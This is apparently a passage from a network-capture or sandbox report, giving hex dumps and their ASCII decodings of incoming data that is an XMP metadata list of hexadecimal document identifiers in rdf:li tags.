2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 39 44 39 43 42 30 43 43 37 35 30 44 34 42 45 43 36 34 41 32 
39 30 46 36 33 31 39 38 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 35 39 45 42 46 43 35 43 41 32 4
1 32 45 42 41 41 32 39 39 43 38 33 35 36 43 33 43 44 39 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 
35 41 31 42 46 36 35 37 42 35 36 39 34 46 41 42 39 37 30 45 38 33 32 37 38 43 33 43 32 36 42 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 31 35 41 35 39 34 43 32 36 35 34 41 44 
Data Ascii: 035DFDCB350F4595A2F06FBC</rdf:li> <rdf:li>158E76857E22F2EED609D07DDD3CD6A9</rdf:li> <rdf
:li>159D9CB0CC750D4BEC64A290F631982E</rdf:li> <rdf:li>159EBFC5CA2A2EBAA299C8356C3CD954</rdf:li> <rdf
:li>15A1BF657B5694FAB970E83278C3C26B</rdf:li> <rdf:li>15A594C2654AD

2022-05-26 11:47:00 UTC 8994 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 32 33 34 37 32 38 35 32 31 45 45 38 42 39 45 45 41 31 43 32 45 46 31 41 31 43 41 
45 45 30 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 35 31 46 31 46 31 31 42 46 43 38 45 44 41 
34 36 42 39 32 42 36 31 44 30 36 44 34 33 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 35 36 39 3
6 43 44 32 30 30 37 44 46 45 32 41 34 39 33 33 34 32 42 41 32 43 37 30 46 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 32 33 35 42 38 32 39 35 31 33 44 44 31 30 43 45 32 41 30 42 42 44 34 46 46 31 44 45 38 41 34 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 35 44 37 34 30 36 37 32 42 36 41 44 30 37 36 31 32 46 45 30 
38 36 33 33 43 41 31 36 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: <rdf:li>234728521EE8B9EEA1C2EF1A1CAEE0FD</rdf:li> <rdf:li>2351F1F11BFC8EDA46B92B61D06D43
6F</rdf:li> <rdf:li>235696CD2007DFE2A493342BA2C70FAE</rdf:li> <rdf:li>235B829513DD10CE2A0BBD4FF1DE8A
46</rdf:li> <rdf:li>235D740672B6AD07612FE08633CA164C</rdf:li> <rdf:

2022-05-26 11:47:00 UTC 9010 IN Data Raw: 6c 69 3e 32 46 38 42 36 44 44 41 34 46 43 31 37 43 33 46 38 43 36 34 43 41 36 38 33 35 32 32 46 43 36 44 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 39 42 39 35 38 46 36 41 31 46 33 37 42 42 38 44 36 31 36 
42 34 42 43 30 45 36 45 37 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 39 45 43 42 43 43 36 35 4
3 33 43 35 34 34 36 33 43 38 37 38 44 46 41 35 34 30 37 45 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
32 46 41 34 31 30 38 45 30 45 34 32 36 33 42 31 43 31 33 33 37 41 33 41 34 31 42 35 41 37 44 31 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 42 44 36 32 46 43 36 41 45 34 38 32 38 44 42 43 33 32 32 39 39 42 33 35 34 35 
32 33 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 
Data Ascii: li>2F8B6DDA4FC17C3F8C64CA683522FC6D</rdf:li> <rdf:li>2F9B958F6A1F37BB8D616B4BC0E6E77A</r
df:li> <rdf:li>2F9ECBCC65C3C54463C878DFA5407E2D</rdf:li> <rdf:li>2FA4108E0E4263B1C1337A3A41B5A7D1</r
df:li> <rdf:li>2FBD62FC6AE4828DBC32299B3545236E</rdf:li> <rdf:li>2F

2022-05-26 11:47:00 UTC 9017 IN Data Raw: 3e 33 35 42 33 37 31 35 37 45 38 31 45 39 46 41 39 45 42 39 38 38 38 38 35 41 32 46 35 45 39 35 37 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 35 43 38 45 39 34 37 46 45 42 38 37 34 34 41 45 46 42 32 30 42 36 
42 33 39 44 43 30 30 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 35 43 46 34 38 39 31 35 43 35 38 3
9 35 45 36 35 43 45 43 43 35 46 45 42 45 34 33 42 45 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 35 
45 33 39 41 36 38 35 33 31 46 44 30 33 32 41 35 36 33 35 37 32 44 42 41 30 43 43 45 32 30 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 33 35 46 30 31 39 46 44 46 43 41 37 32 46 34 39 36 38 31 33 33 41 30 33 36 34 30 39 38 36 
30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 35 46 34 
Data Ascii: >35B37157E81E9FA9EB988885A2F5E957</rdf:li> <rdf:li>35C8E947FEB8744AEFB20B6B39DC006B</rdf:li> 
<rdf:li>35CF48915C5895E65CECC5FEBE43BE66</rdf:li> <rdf:li>35E39A68531FD032A563572DBA0CCE20</rdf:li> <rdf:
li>35F019FDFCA72F4968133A0364098603</rdf:li> <rdf:li>35F4

2022-05-26 11:47:00 UTC 9033 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 31 38 43 36 32 35 39 41 38 30 33 36 46 38 31 39 37 
38 36 35 45 38 46 42 33 39 38 39 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 31 42 31 37 35 33 
36 31 46 37 34 37 31 39 34 36 43 42 46 43 44 37 44 46 32 43 46 42 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 34 33 31 42 46 46 30 31 41 34 38 30 44 30 38 44 41 42 35 37 32 45 38 36 37 30 44 38 41 41 46 31 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 33 39 37 38 46 38 30 45 43 41 30 34 33 34 39 32 38 43 38 39 42 32 44 
35 35 37 35 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 33 34 38 44 31 43 46 38 34 32 33 42 31 
35 41 38 35 39 45 31 36 41 30 43 32 34 33 41 32 41 37 3c 2f 72 64 66 3a 
Data Ascii: /rdf:li> <rdf:li>4318C6259A8036F8197865E8FB3989A7</rdf:li> <rdf:li>431B175361F7471946CBF
CD7DF2CFB62</rdf:li> <rdf:li>431BFF01A480D08DAB572E8670D8AAF1</rdf:li> <rdf:li>433978F80ECA0434928C8
9B2D557597D</rdf:li> <rdf:li>4348D1CF8423B15A859E16A0C243A2A7</rdf:

2022-05-26 11:47:00 UTC 9049 IN Data Raw: 44 35 38 33 35 36 33 42 43 45 38 38 32 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 30 
36 37 32 35 44 37 44 39 43 46 46 38 36 41 45 32 38 37 46 41 42 32 45 42 35 39 30 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 35 30 30 43 32 42 46 39 35 31 38 30 31 34 41 43 32 39 41 39 42 35 39 39 36 41 46 44 31 36 30 
42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 30 46 34 37 34 36 36 43 46 31 42 41 44 31 38 32 44 43 3
4 35 45 44 39 31 33 30 34 30 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 32 46 37 38 44 37 34 39 
42 33 32 45 31 34 41 37 36 46 36 37 38 46 37 43 31 34 34 31 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 35 30 33 41 46 35 44 43 45 31 36 30 43 34 32 35 41 32 45 31 41 34 
Data Ascii: D583563BCE882C8</rdf:li> <rdf:li>5006725D7D9CFF86AE287FAB2EB5906D</rdf:li> <rdf:li>500C2
BF9518014AC29A9B5996AFD160B</rdf:li> <rdf:li>500F47466CF1BAD182DC45ED9130406E</rdf:li> <rdf:li>502F7
8D749B32E14A76F678F7C14411E</rdf:li> <rdf:li>503AF5DCE160C425A2E1A4
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2022-05-26 11:47:00 UTC 9057 IN Data Raw: 33 37 45 45 30 44 39 31 35 41 39 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 42 41 43 
31 43 46 31 37 35 32 44 41 41 34 36 36 43 36 32 36 44 46 33 36 45 43 41 34 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 35 36 43 33 43 35 46 43 33 42 41 34 39 43 46 43 33 34 46 41 43 33 46 43 39 39 36 45 38 43 34 45 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 43 43 30 42 33 42 32 45 46 39 45 44 39 45 38 36 39 41 39 44 
43 32 39 44 41 38 46 46 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 44 34 34 42 42 41 45 37 36 
33 37 35 35 35 32 44 43 36 35 42 45 44 32 32 45 44 45 37 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
35 36 46 38 30 39 41 35 46 33 37 36 41 37 37 32 42 45 45 39 34 35 39 34 
Data Ascii: 37EE0D915A9DD</rdf:li> <rdf:li>56BAC1CF1752DAA466C626DF36ECA4C1</rdf:li> <rdf:li>56C3C5F
C3BA49CFC34FAC3FC996E8C4E</rdf:li> <rdf:li>56CC0B3B2EF9ED9E869A9DC29DA8FF16</rdf:li> <rdf:li>56D44BB
AE76375552DC65BED22EDE73E</rdf:li> <rdf:li>56F809A5F376A772BEE94594

2022-05-26 11:47:00 UTC 9073 IN Data Raw: 37 36 37 41 34 33 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 36 30 39 41 36 43 33 31 33 
32 45 42 37 44 30 31 37 31 46 38 34 45 42 36 36 46 30 41 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 36 36 30 41 34 34 43 43 32 32 45 32 46 39 30 30 43 46 42 43 37 38 38 30 42 34 37 34 44 33 38 41 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 36 31 45 36 42 42 35 42 34 35 31 35 39 33 30 43 37 41 39 33 36 33 39 32 38 36 
42 38 44 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 36 32 38 37 41 32 44 42 46 32 31 43 38 32 44 
43 30 30 46 32 34 37 30 37 35 33 36 46 38 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 36 32 44 34 
42 31 36 30 38 36 44 43 45 37 30 38 46 31 41 45 32 43 44 41 44 43 33 34 
Data Ascii: 767A4397</rdf:li> <rdf:li>6609A6C3132EB7D0171F84EB66F0A5D0</rdf:li> <rdf:li>660A44CC22E2
F900CFBC7880B474D38A</rdf:li> <rdf:li>661E6BB5B4515930C7A93639286B8D11</rdf:li> <rdf:li>66287A2DBF21
C82DC00F24707536F846</rdf:li> <rdf:li>662D4B16086DCE708F1AE2CDADC34

2022-05-26 11:47:00 UTC 9089 IN Data Raw: 38 30 35 39 41 39 38 44 45 35 42 39 38 44 45 46 36 32 32 34 38 38 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 37 34 34 44 33 39 37 36 41 32 31 42 30 36 46 32 33 30 44 45 43 45 42 30 34 35 44 35 43 44 31 38 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 35 34 35 33 39 37 42 36 39 33 38 39 32 32 46 45 35 46 33 39 
45 30 34 41 33 33 34 30 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 34 35 37 38 43 39 33 33 41 33 3
9 42 33 41 38 39 35 33 31 43 37 34 43 46 31 45 37 33 44 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 
34 35 43 43 37 36 33 37 32 37 44 34 38 35 31 45 43 43 35 35 42 46 36 36 35 30 43 34 33 34 44 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 37 34 36 32 34 32 39 36 36 34 37 37 35 
Data Ascii: 8059A98DE5B98DEF62248830</rdf:li> <rdf:li>744D3976A21B06F230DECEB045D5CD18</rdf:li> <rdf
:li>74545397B6938922FE5F39E04A33403F</rdf:li> <rdf:li>74578C933A39B3A89531C74CF1E73D29</rdf:li> <rdf
:li>745CC763727D4851ECC55BF6650C434D</rdf:li> <rdf:li>7462429664775

2022-05-26 11:47:00 UTC 9097 IN Data Raw: 38 41 43 46 37 43 34 31 37 32 41 46 39 35 42 42 38 31 42 43 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 37 41 30 45 34 34 46 36 44 42 46 37 38 38 33 39 41 43 38 46 38 38 37 38 45 32 37 39 30 37 34 44 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 31 42 39 32 36 32 33 37 38 38 34 30 38 34 39 43 42 36 33 37 36 45 
34 46 38 36 39 39 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 32 30 41 34 45 41 32 35 33 39 34 4
6 42 41 36 31 39 33 39 32 42 32 46 45 36 43 32 37 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 33 
36 41 42 44 36 45 35 35 38 31 39 41 33 39 43 34 30 43 44 34 31 30 36 36 37 35 43 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 37 41 34 46 43 42 43 45 41 35 43 31 32 41 39 
Data Ascii: 8ACF7C4172AF95BB81BC1A</rdf:li> <rdf:li>7A0E44F6DBF78839AC8F8878E279074D</rdf:li> <rdf:l
i>7A1B9262378840849CB6376E4F869996</rdf:li> <rdf:li>7A20A4EA25394FBA619392B2FE6C278A</rdf:li> <rdf:l
i>7A36ABD6E55819A39C40CD4106675CFC</rdf:li> <rdf:li>7A4FCBCEA5C12A9

2022-05-26 11:47:00 UTC 9113 IN Data Raw: 64 66 3a 6c 69 3e 38 37 36 34 44 33 38 45 43 31 46 45 33 33 44 45 30 30 43 33 35 42 45 31 43 38 34 43 30 
44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 36 35 30 38 32 39 46 33 38 44 46 37 45 43 33 36 
34 35 44 37 38 43 44 38 41 35 36 30 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 36 37 43 44 43 4
2 45 39 37 34 38 37 35 30 32 37 36 46 37 41 34 34 45 35 42 33 36 32 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 38 37 36 44 39 37 31 31 45 37 30 37 33 41 37 35 33 45 39 43 39 32 36 31 46 36 41 44 31 44 46 39 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 37 30 41 44 34 38 45 32 41 41 46 32 44 43 37 35 37 37 38 31 44 45 46 
44 35 39 43 46 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: df:li>8764D38EC1FE33DE00C35BE1C84C0DA5</rdf:li> <rdf:li>87650829F38DF7EC3645D78CD8A56066
</rdf:li> <rdf:li>8767CDCBE9748750276F7A44E5B362F1</rdf:li> <rdf:li>876D9711E7073A753E9C9261F6AD1DF9
</rdf:li> <rdf:li>8770AD48E2AAF2DC757781DEFD59CF7E</rdf:li> <rdf:li

2022-05-26 11:47:00 UTC 9129 IN Data Raw: 35 41 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 39 43 44 45 36 34 46 32 41 30 41 32 
33 32 35 41 37 45 42 30 33 43 37 38 37 42 42 30 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 41 
30 44 44 34 43 30 42 43 38 39 45 46 41 46 36 37 31 45 45 34 44 32 36 39 32 45 37 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 39 35 41 34 33 41 36 32 36 38 38 35 32 31 45 41 33 38 35 33 46 31 30 38 36 45 36 33 37 46 42 
44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 41 34 46 34 37 37 34 35 30 38 45 33 35 43 34 42 30 33 
46 37 44 45 34 41 45 41 44 43 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 35 41 42 39 30 44 30 36 
37 35 37 33 43 46 43 36 44 44 45 45 41 46 32 32 35 46 37 42 38 31 30 3c 
Data Ascii: 5A00</rdf:li> <rdf:li>959CDE64F2A0A2325A7EB03C787BB003</rdf:li> <rdf:li>95A0DD4C0BC89EFA
F671EE4D2692E7F9</rdf:li> <rdf:li>95A43A62688521EA3853F1086E637FBD</rdf:li> <rdf:li>95A4F4774508E35C
4B03F7DE4AEADC89</rdf:li> <rdf:li>95AB90D067573CFC6DDEEAF225F7B810<

2022-05-26 11:47:00 UTC 9137 IN Data Raw: 42 45 31 30 30 46 44 43 44 39 36 34 43 32 34 42 42 45 41 38 45 38 41 31 33 34 42 34 44 30 42 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 42 45 35 37 35 32 41 37 46 36 31 43 34 33 44 44 38 42 45 33 37 46 35 34 31 
39 46 43 45 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 42 45 37 31 41 46 38 38 46 41 44 34 38 42 
31 30 43 37 41 30 33 39 34 45 37 34 35 33 33 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 30 36 4
3 32 35 38 36 35 42 38 36 30 44 31 32 34 38 46 38 44 45 33 46 34 44 42 43 46 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 39 43 30 38 39 43 30 42 32 43 30 38 32 30 43 45 42 35 44 36 30 42 43 43 44 43 46 41 46 45 39 35 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 31 38 35 31 
Data Ascii: BE100FDCD964C24BBEA8E8A134B4D0B</rdf:li> <rdf:li>9BE5752A7F61C43DD8BE37F5419FCE35</rdf:li> 
<rdf:li>9BE71AF88FAD48B10C7A0394E745339A</rdf:li> <rdf:li>9C06C25865B860D1248F8DE3F4DBCF00</rdf:li> 
<rdf:li>9C089C0B2C0820CEB5D60BCCDCFAFE95</rdf:li> <rdf:li>9C1851

2022-05-26 11:47:00 UTC 9153 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 35 46 31 34 39 41 46 38 43 32 36 38 46 35 43 46 42 37 
31 38 46 32 44 38 46 41 35 36 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 37 30 30 35 41 38 32 
31 30 31 45 45 36 35 46 37 45 46 33 31 39 30 35 42 39 36 30 34 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 41 39 37 33 30 37 34 38 32 38 43 42 43 30 46 34 45 43 41 41 39 44 33 39 45 31 36 37 34 34 31 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 37 35 31 32 34 36 41 36 36 41 44 32 34 37 37 43 44 42 37 34 45 43 45 38 
34 41 31 42 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 37 39 46 31 30 32 41 44 41 35 37 45 38 
46 30 37 33 31 42 44 36 38 37 42 31 44 33 33 39 35 3c 2f 72 64 66 3a 6c 69 
Data Ascii: df:li> <rdf:li>A95F149AF8C268F5CFB718F2D8FA56B5</rdf:li> <rdf:li>A97005A82101EE65F7EF319
05B9604F5</rdf:li> <rdf:li>A973074828CBC0F4ECAA9D39E1674414</rdf:li> <rdf:li>A9751246A66AD2477CDB74E
CE84A1BEC</rdf:li> <rdf:li>A979F102ADA57E8F0731BD687B1D3395</rdf:li
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2022-05-26 11:47:00 UTC 9169 IN Data Raw: 32 37 37 38 30 42 30 35 44 43 42 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 38 46 34 
31 43 39 35 35 33 31 39 42 39 41 42 34 36 41 36 31 39 30 37 30 35 46 38 46 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 42 36 41 30 41 36 35 36 46 38 42 33 30 38 41 41 33 32 43 32 44 31 32 35 32 43 32 36 42 33 32 41 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 42 46 31 33 46 46 46 41 41 35 43 38 31 38 45 38 45 34 42 39 
38 44 30 46 31 36 37 34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 36 43 30 46 31 39 38 43 35 36 
44 36 44 44 41 42 33 32 31 46 31 32 30 32 32 42 32 34 41 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
42 36 43 35 30 42 44 44 45 35 30 33 30 35 43 36 45 37 43 43 43 44 43 37 
Data Ascii: 27780B05DCB13</rdf:li> <rdf:li>B68F41C955319B9AB46A6190705F8FD8</rdf:li> <rdf:li>B6A0A65
6F8B308AA32C2D1252C26B32A</rdf:li> <rdf:li>B6BF13FFFAA5C818E8E4B98D0F167492</rdf:li> <rdf:li>B6C0F19
8C56D6DDAB321F12022B24AD1</rdf:li> <rdf:li>B6C50BDDE50305C6E7CCCDC7

2022-05-26 11:47:00 UTC 9176 IN Data Raw: 36 30 34 45 31 39 41 36 42 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 42 31 38 33 34 
42 37 32 42 35 30 43 35 31 38 46 30 37 38 31 34 35 43 44 39 32 31 32 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 42 44 42 34 41 35 41 38 45 43 34 43 44 36 33 33 46 37 31 36 43 36 39 34 30 30 39 36 32 37 41 39 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 43 32 37 36 38 45 33 34 43 41 36 45 36 37 43 43 30 46 37 32 30 35 
31 44 32 41 45 30 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 44 31 35 39 39 39 30 30 34 33 41 
33 46 35 33 30 37 32 36 34 45 42 41 42 31 45 34 44 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 
44 31 46 31 34 37 42 35 31 45 33 35 45 30 36 34 33 39 46 34 39 44 39 37 
Data Ascii: 604E19A6B44</rdf:li> <rdf:li>BDB1834B72B50C518F078145CD92126C</rdf:li> <rdf:li>BDB4A5A8E
C4CD633F716C694009627A9</rdf:li> <rdf:li>BDC2768E34CA6E67CC0F72051D2AE0D8</rdf:li> <rdf:li>BDD159990
043A3F5307264EBAB1E4D23</rdf:li> <rdf:li>BDD1F147B51E35E06439F49D97

2022-05-26 11:47:00 UTC 9178 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 32 46 46 33 44 31 31 35 46 43 43 41 34 46 38 45 46 32 
38 33 45 31 46 36 46 35 46 46 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 36 30 44 35 38 41 38 
30 34 33 35 46 32 30 38 39 30 41 46 45 35 36 44 44 45 39 45 38 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 42 46 36 39 44 36 46 31 42 37 39 31 45 46 41 36 30 45 34 37 38 34 46 30 46 31 45 42 45 39 32 30 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 36 41 46 45 35 39 38 44 41 38 42 36 44 37 35 45 38 30 32 30 39 34 37 30 
36 41 37 32 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 38 30 46 34 46 33 34 44 32 43 41 39 32 
39 46 30 37 30 42 32 44 41 37 43 39 38 43 37 38 46 3c 2f 72 64 66 3a 6c 69 
Data Ascii: df:li> <rdf:li>BF2FF3D115FCCA4F8EF283E1F6F5FFF5</rdf:li> <rdf:li>BF60D58A80435F20890AFE5
6DDE9E867</rdf:li> <rdf:li>BF69D6F1B791EFA60E4784F0F1EBE920</rdf:li> <rdf:li>BF6AFE598DA8B6D75E80209
4706A72EA</rdf:li> <rdf:li>BF80F4F34D2CA929F070B2DA7C98C78F</rdf:li

2022-05-26 11:47:00 UTC 9194 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 43 43 35 44 31 30 44 41 37 42 43 41 43 39 34 39 46 36 41 44 31 33 34 32 30 
32 38 36 41 33 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 43 35 44 41 38 41 46 32 33 44 41 42 30 
39 38 32 42 44 44 35 37 32 31 34 34 37 36 46 42 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 43 37 3
3 37 32 34 33 32 41 44 31 37 37 38 41 38 42 41 44 30 30 30 33 45 36 31 46 43 41 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 43 43 38 42 46 38 45 31 46 33 39 33 31 45 45 36 36 32 38 30 32 33 33 31 33 35 35 33 33 35 35 31 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 43 39 45 46 45 32 39 39 43 44 41 37 38 39 43 38 33 42 30 37 
30 46 38 45 44 35 35 36 37 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: > <rdf:li>CC5D10DA7BCAC949F6AD13420286A37F</rdf:li> <rdf:li>CC5DA8AF23DAB0982BDD57214476
FB36</rdf:li> <rdf:li>CC7372432AD1778A8BAD0003E61FCA2A</rdf:li> <rdf:li>CC8BF8E1F3931EE6628023313553
3551</rdf:li> <rdf:li>CC9EFE299CDA789C83B070F8ED556701</rdf:li> <rd

2022-05-26 11:47:00 UTC 9210 IN Data Raw: 43 38 35 32 35 30 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 41 30 35 31 34 45 38 30 33 
35 46 39 39 43 41 36 32 39 45 32 33 43 44 41 44 43 33 44 39 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 44 41 30 35 43 39 36 41 34 33 44 39 38 35 43 33 42 31 41 30 31 46 44 34 35 39 42 36 38 31 39 31 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 41 30 41 41 44 46 39 45 31 31 32 38 30 42 34 34 39 32 41 45 45 33 44 31 43 45 
33 42 37 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 41 30 43 41 37 41 44 44 44 41 45 44 39 34 33 
44 45 46 37 38 35 31 34 44 45 45 36 44 44 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 41 33 37 41 
32 37 39 42 32 31 46 39 41 32 31 46 35 41 32 31 42 45 38 35 46 37 32 43 
Data Ascii: C8525024</rdf:li> <rdf:li>DA0514E8035F99CA629E23CDADC3D957</rdf:li> <rdf:li>DA05C96A43D9
85C3B1A01FD459B68191</rdf:li> <rdf:li>DA0AADF9E11280B4492AEE3D1CE3B773</rdf:li> <rdf:li>DA0CA7ADDDAE
D943DEF78514DEE6DD4D</rdf:li> <rdf:li>DA37A279B21F9A21F5A21BE85F72C

2022-05-26 11:47:00 UTC 9216 IN Data Raw: 43 35 41 33 41 35 37 42 32 35 43 35 34 45 34 35 43 35 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 44 46 33 33 30 34 38 37 35 37 36 42 43 31 32 45 32 43 37 38 44 42 36 38 30 36 31 39 33 37 31 46 3c 2f 72 64 66 
